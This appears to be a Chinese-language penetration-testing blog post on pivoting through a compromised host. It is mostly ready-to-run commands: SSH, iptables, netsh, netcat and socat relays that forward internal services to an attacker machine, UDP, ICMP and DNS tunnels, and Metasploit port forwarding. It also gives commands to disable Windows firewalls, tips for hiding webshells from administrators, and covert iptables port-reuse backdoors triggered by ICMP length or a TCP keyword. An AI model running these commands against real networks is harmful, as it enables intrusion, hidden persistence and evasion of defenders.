渗透中的数据转发技巧
思路
渗透测试中,必须使用代理服务器,所以首先假设我们有一台具有公网IP的服务器,作为攻击机。
内网是相对的,有时进入DMZ区,发现要使用VPN进入目标网段。在这里讨论只一台受害主机的攻击路径,认为是最小元,需要得出一个方法论,这个方法论将适用于更多台受害主机的环境。
如果拿下的受害机在公网开放了端口,并且没有防火墙,可以随意访问它的端口,那么直接可以把它抽象成攻击机。
但是,如果拿下的主机不是开放在公网的,或者说上级具有防火墙意义的设备,那么进行下面的步骤。
一般情况下,都是通过TCP方式访问服务器。
- 端口映射:通过把目标端口映射到空闲端口打入内网,也可以使用端口复用(如iptables)
- 正向代理:直接利用这个端口作为隧道打入内网
- 反向代理:如果条件不允许从外部入站,那么可以使用受害机反向链接攻击服务器
如果目标服务器无法使用TCP出站,那么可以使用UDP隧道,这里就不存在正向反向的概念,而是客户端与服务端的概念了。 有时会遇到设有防火墙的机器,如果是黑名单策略,相对好搞。如果是白名单策略,一般不会禁用UDP,可能会允许出访问外部53端口。 如果连出站的UDP都禁用的话,那么使用ICMP隧道,但在这种场景下,极有可能拦截ICMP包。
大多情况下建立隧道不是很稳定,通常会建立隧道之后利用受害机的ssh服务,启用socks5代理打入内网(配合Socks客户端,proxychains-NG或proxifier)。
首先定义A为攻击机,B为受害跳板机,C为其他机器,也可以为B本身,在后续的介绍中也会用到这些定义。 接下来分清几个概念,只要能够区分mapping(映射)和tunning(隧道)就行。用中文来理解比较隐晦,其实mapping和tunning都属于转发(forwarding),映射也能称作正向的转发,反弹可以理解为反向的转发。
- 映射:B监听端口,C监听端口,把来自A的请求传递给C,也就是C映射到了B上
- 隧道:A监听端口,C监听端口,B主动把C的监听端口转发给A,这样AC直接就相当于一条隧道
- 反弹:A监听端口,B监听端口,先由某种条件触发使B主动链接A
直接转发
这里指网络层与传输层的数据转发
SSH
这里只针对SSH1,首先介绍几个可选参数
1
2
3
4
5-C 启用压缩,在网络差的情况下使用,也可以用来拖数据
-N 不执行任何命令,只做端口转发
-g 允许远程主机连接到本地转发端口,如果访问受害机本地端口,需要指定此参数
-q 静默模式
-T 禁用伪终端,使用who看不到伪终端用户(但是这里好像不需要)
转发远程端口到本地端口
1
ssh -Ng -L local:13389:target_C:3389 root@victim_B
转发本地端口到远程端口
可能需要在/etc/ssh/sshd_config设置 AllowAgentForwarding yes AllowTcpForwarding yes GatewayPorts yes
1
ssh -N -R remote:3000:local:80 root@victim_B
使用Socks5代理
1
ssh -N -D 127.0.0.1:1080 root@victim_B
iptables端口映射
首先开启系统内核的IPv4转发
1
echo 1 > /proc/sys/net/ipv4/ip_forward
利用NAT对端口进行转发
1
2iptables -t nat -A PREROUTING -d victim_B -p tcp --dport listen_port -j DNAT --to-destination target_C:target_port
iptables -t nat -A POSTROUTING -d target_C -p tcp --dport target_port -j SNAT --to victim_B
netsh端口映射
使用系统自带端口映射
1
netsh interface portproxy add v4tov4 listenaddress=victim_B listenport=3388 connectaddress=target_C connectport=3389
删除转发规则
1
netsh interface portproxy delete v4tov4 listenaddress=victim_B listenport=3388
防火墙允许相应入站规则
1
netsh advfirewall firewall add rule name="forwarded_RDP_3388" protocol=TCP dir=in localip=victim_B localport=3388 action=allow
也可以关闭防火墙
1
2
3
4
5
6# 新版
netsh advfirewall set allprofiles state off
# 旧版
netsh firewall set opmode disable
# 或
net stop mpssvc
查看所有代理
1
netsh interface portproxy show all
netcat
首先在流行的发行版中,大多数NetCat不支持监听端口和程序重定向。 NetCat是非常强大的网络工具,支持扫描,各种数据传输,Ncat是改进版本,这里只介绍网络层面的转发和映射。 SoCat更强大,支持更多种输入输出,支持连接复用。
端口映射
首先在B主机创建FIFO文件,然后把C主机的SSH服务端口映射到B主机的9000端口
1
2
3
4mkfifo /tmp/fifo
cat /tmp/fifo | nc target_C 22 | nc -vlp 9000 > /tmp/fifo
# 或者
cat /tmp/fifo | nc -vlp 9000 | nc target_C 22 > /tmp/fifo
或者使用socat,这样只能连接一次
1
socat tcp-connect:target_C:22 tcp-listen:9000
使用reuseaddr,reuseport,fork参数,允许多次链接
1
socat tcp-listen:9000,reuseaddr,reuseport,fork tcp-connect:target_C:22
在A主机用SSH连接B主机的9000端口,就能使用C主机的SSH服务。
1
ssh root@victim_B -p 9000
端口转发
首先,在A主机创建FIFO文件,然后监听8888端口接收来自B主机的转发数据,监听9000端口作为转发服务端口。
1
2
3
4mkfifo /tmp/fifo
cat /tmp/fifo | nc -vlp 8888 | nc -vlp 9000 > /tmp/fifo
# 或者
cat /tmp/fifo | nc -vlp 9000 | nc -vlp 8888 > /tmp/fifo
或者使用socat
1
socat tcp-listen:8888,reuseaddr,reuseport,fork tcp-listen:9000,reuseaddr,reuseport,fork
其次,在B主机创建FIFO文件,然后把C主机的SSH服务转发给攻击机监听的8888端口。
1
2
3
4mkfifo /tmp/fifo
cat /tmp/fifo | nc target_C 22 | nc attacker_A 8888 > /tmp/fifo
# 或者
cat /tmp/fifo | nc attacker_A 8888 | nc target_C 22 > /tmp/fifo
或者使用socat
1
socat tcp-connect:target_C:22 tcp-connect:attacker_A:8888
最后,使用ssh连接A主机的9000端口,即连接到了C主机的22端口
1
ssh root@attacker_A -p 9000
socat
SoCat跟Netcat操作类似,但是更加强大。支持多重不同层次的协议。
1
2
3
4
5
6
7
8TCP4 TCP IPv4
TCP6 TCP IPv6
UDP UDP协议
UNIX UNIX本地套接字
SCTP4 SCTP IPv4
SCTP6 SCTP IPv6
OPENSSL 安全套接层
SOCKET 套接字
映射操作
1
socat tcp-connect:target_C:22 tcp-listen:9000
使用reuseaddr,reuseport,fork参数,允许多次链接
1
socat tcp-listen:9000,reuseaddr,reuseport,fork tcp-connect:target_C:22
转发操作
1
2
3
4# victim_B
socat tcp-listen:8888,reuseaddr,reuseport,fork tcp-listen:9000,reuseaddr,reuseport,fork
# attacker_A
socat tcp-connect:target_C:22 tcp-connect:attacker_A:8888
UDP隧道
在Linux下,可以使用SoCat,但是在Windows下就不行了
1
socat UDP-LISTEN:8888 tcp-connect:target_C:22
NetCat只要加个-u就行
1
cat /tmp/fifo | nc -vulp 9000 | nc 192.168.1.127 22 > /tmp/fifo
rtcp2udp
https://github.com/ring04h/rtcp2udp
udptunnel
https://code.google.com/p/udptunnel/
ICMP隧道
首先确保这里为0
1
/proc/sys/net/ipv4/icmp_echo_ignore_all
icmptunnel
https://github.com/jamesbarlow/icmptunnel.git
ptunnel
Linux平台
https://pkgs.org/download/ptunnel
Windows平台
https://github.com/ptunnel-win
SCTP隧道
SCTP属于传输层协议,不在防火墙TCP、UDP策略的范围内,Ncat支持,这里使用SoCat,跟端口映射类似,SCTP监听8888端口
1
socat SCTP-LISTEN:8888 tcp-connect:target_C:22
DCCP隧道
大多数Linux不支持
1
2socat TCP4-LISTEN:8886,reuseaddr,type=6,prototype=33 TCP-CONNECT:target_C:22
socat TCP4-CONNECT:8886,reuseaddr,type=6,prototype=33 TCP-LISTEN:9000
Nginx转发
首先要确保Nginx使用了stream模块
1
2# 结果返回 --with-stream
nginx -V | grep stream
在nginx.conf加入下面这段
1
2
3
4
5
6
7
8stream {
server {
listen 88;
proxy_connect_timeout 3s;
proxy_timeout 10s;
proxy_pass 127.0.0.1:22;
}
}
使nginx重载配置
1
nginx -s reload
其他工具
dog-tunnel - 一个代理工具,主要是打洞,同事推荐 EarthWorm - 虫洞,全平台,好评较多,用起来老是断开,不稳定 Termite - 虫洞的下一代蚁群,全平台,想法很好,用起来老是崩溃,体验不怎么好 JSPspy,ASPXspy,PHPspy - 无下载地址,这些WebShell带有tunnel和portmap的功能 fpipe - 考古向,McAfee出品的端口映射工具(Win下) passport - 考古向,XP上的端口转发工具,支持UDP HTran - 考古向,也就是大家口中的lcx,速度一般,但是稳定
应用层隧道
Socks
条件允许的情况下,可以直接在服务器开启Socks服务,然后配合客户端使用。因为简单加上网上数量众多,加上很多工具附带,这里主要使用Socks5(RFC1928),随便列举一些工具。
Go Socks5 C# Socks5 C++ Socks5 py Socks4/5 PS Socks4/5 - 支持端口映射
APT
在MSF下可以使用端口转发和代理功能
1
portfwd add -l 2222 -r target -p 3389
设定路由
1
route add 192.168.0.0 255.255.0.0 1
启用socks4a代理
1
2
3use auxiliary/server/socks4a
set SRVPORT 2080
exploit -y
CobaltStrike可以在目标上开启Socks4A,转发到Teamserver,然后Teamserver监听端口,等待攻击者连接。
DNS tunnel
iodine - 非常好用的DNS隧道 Dns2tcp - Kali预装的DNS隧道 dnscat2 - 用Ruby写的DNS隧道,还没用过
WebShell tunnel
reGeorg - reGeorg修改版,支持自定义头,优化了连接次数,更加快和稳定 Tunna - 另一款正向代理,新增了自定义Cookie,基础认证,稳定性一般 ABPTTS - 据说是融合了reGeorg和Tunna的优点,更加稳定,兼容性更好,但是不支持自定义HTTP头,找个时间加上去 reDuh - 考古,reGeorg的前身
RMI Deserialized tunnel
TODO, 上次听N1nty大哥分享的JSPspy on RMI,有了这个灵感,找个时间填上去。
复用技巧
有时资源有限,无法再新增资源,这时候需要复用
Webshell
因为有用到WebShell的Tunnel,所以这里稍微提一下。有时,目录下直接新增webshell文件会被管理员发现,这就很尴尬,直接在文件中插入后门,包含一个资源后缀名的webshell。或者修改配置文件,允许解析资源类型文件。也可以加载进内存中,不过重启服务就会失效。
在Nginx中,对于HTTP服务,可以通过路由策略复用端口,解析资源文件类型的Webshell。
TODO, 是否可以实现nginx的stream和http服务共用端口,可能要用到lua。
iptables规则
这里借用N1nty的分享,这里作者介绍当接收到指定特征的数据包,就启用对应规则,首先创建转发规则,然后再创建触发机制。这篇文章在其他安全媒体也有投稿,评论里有自作聪明的人提到根据IP转发,说这种话的是没仔细看文章的。
根据源端口分流
将发送本机 80 端口,源端口为 8989 的流量重定向至本机 22 端口
1
/sbin/iptables -t nat -A PREROUTING -p tcp --sport 8989 --dport 80 -j REDIRECT --to-port 22
本地监听 9000 端口,使用源端口 8989 访问受害机的 80 端口
1
2socat tcp-listen:9000,fork,reuseaddr tcp:victim_B:80,sourceport=8989,reuseaddr &
ssh [email protected] -p 9000
根据ICMP长度分流
利用 ICMP 做遥控开关。缺点在于如果目标在内网,你是无法直接 ping 到它的。
1
2
3
4
5
6
7
8
9
10
11
12
13# 创建端口复用链
iptables -t nat -N LETMEIN
# 创建端口复用规则,将流量转发至 22 端口
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为 letmein 的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
# let's do it,如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
IP包头20字节,ICMP包头8字节,iptables包长度=ICMP包内容长度+28字节
1
2
3
4## enable LETMEIN
ping -c 1 -s 1111 victim_B
## disable LETMEIN
ping -c 1 -s 1112 victim_B
根据TCP中关键字分流
利用 tcp 数据包中的关键字做遥控开关,不怕目标在内网。
1
2
3
4
5
6
7
8
9
10
11
12# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
这样有一个缺点,就是加入letmein的ip列表是上级代理的IP,所以开启这项规则会影响正常用户的使用。
但是觉得这样已经做的很好了,因为经过IP层会变化,没有空余的字段作为标记。TCP层除了Urgent Pointer这个字段其他都有用,所以只能在内容里做识别,但是这样iptables就没有用了,也偏离了最初的目的,就算在非常极端的环境,宁愿去复用应用层的服务,也不愿意去折腾这个。
1
2
3
4## enable LETMEIN
echo threathuntercoming | socat - tcp:victim_B:80
## disable LETMEIN
echo threathunterleaving | socat - tcp:victim_B:80
使用IPv6
如果设备支持IPv6,也许端口不被限制,可以尝试。
Linux下使用IPv6地址,要加%号指定接口名
1
2ssh root@fe80::2e0:4cff:fe68:eae%eth0
ping6 fe80::aefa:5908:5d93:44ba%eth0
Windows下直接使用
1
ping -6 fe80::aefa:5908:5d93:44ba
总结
这只是渗透中的一个小环节,实战时需要对抗入侵检测系统,这方面还是技术盲点。